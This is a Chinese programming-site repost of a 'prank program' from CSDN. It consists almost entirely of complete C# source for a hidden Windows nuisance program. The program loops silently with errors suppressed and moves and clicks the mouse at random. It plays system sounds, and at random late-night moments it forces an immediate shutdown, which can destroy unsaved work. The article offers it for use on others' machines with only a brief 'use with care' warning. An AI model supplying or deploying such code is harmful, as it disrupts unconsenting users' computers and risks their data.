• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

整人小程序【转自CSDN】

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本机慎用......

 

using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
   
static class Program
    {
       
const int MOUSEEVENTF_LEFTDOWN = 0x2;
       
const int MOUSEEVENTF_LEFTUP = 0x4;
       
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
       
const int MOUSEEVENTF_MIDDLEUP = 0x40;
       
const int MOUSEEVENTF_MOVE = 0x1;
       
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
       
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
       
const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport(
"user32.dll")]
       
static extern int GetSystemMetrics(int nIndex);
        [DllImport(
"user32.dll")]
       
static extern int SetCursorPos(int x, int y);
        [DllImport(
"user32.dll")]
       
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

       
static int Sx, Sy;
       
static long tick = 1;
       
static Random rnd = new Random();
        [STAThread]
       
static void Main()
        {
           
try
            {
                Sx
= GetSystemMetrics(0);
                Sy
= GetSystemMetrics(1);
               
while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(
1000);
                    tick
+= rnd.Next(2);
                   
if(tick < 1800)
                       
continue;
                   
if(tick % 643 == 0)
                        DoMouse();
                   
if(tick % 313 == 0)
                        DoBang();
                }
            }
           
catch { };
        }
       
static void DoMouse()
        {
           
int dx, dy;
           
int c = 4;
           
while(c-- > 0)
            {
                dx
= rnd.Next(Sx);
                dy
= rnd.Next(Sy);
               
switch(rnd.Next(3))
                {
                   
case 0:
                        SetCursorPos(dx, dy);
                       
break;
                   
case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN
| MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                       
break;
                   
case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN
| MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                       
break;
                }
                Thread.Sleep(
100);
            }
        }
       
static void DoBang()
        {
           
switch(rnd.Next(4))
            {
               
case 0:
                    SystemSounds.Asterisk.Play();
                   
break;
               
case 1:
                    SystemSounds.Beep.Play();
                   
break;
               
case 2:
                    SystemSounds.Exclamation.Play();
                   
break;
               
case 3:
                    SystemSounds.Hand.Play();
                   
break;
            }
        }
       
static void DoShutdown()
        {
            Process.Start(
"shutdown.exe", "-f -s -t 0");
        }
    }
}


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
微信小程序用RSA加密和java后台对接。发布时间:2022-07-18
下一篇:
使用myvue开发微信小程序发布时间:2022-07-18
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap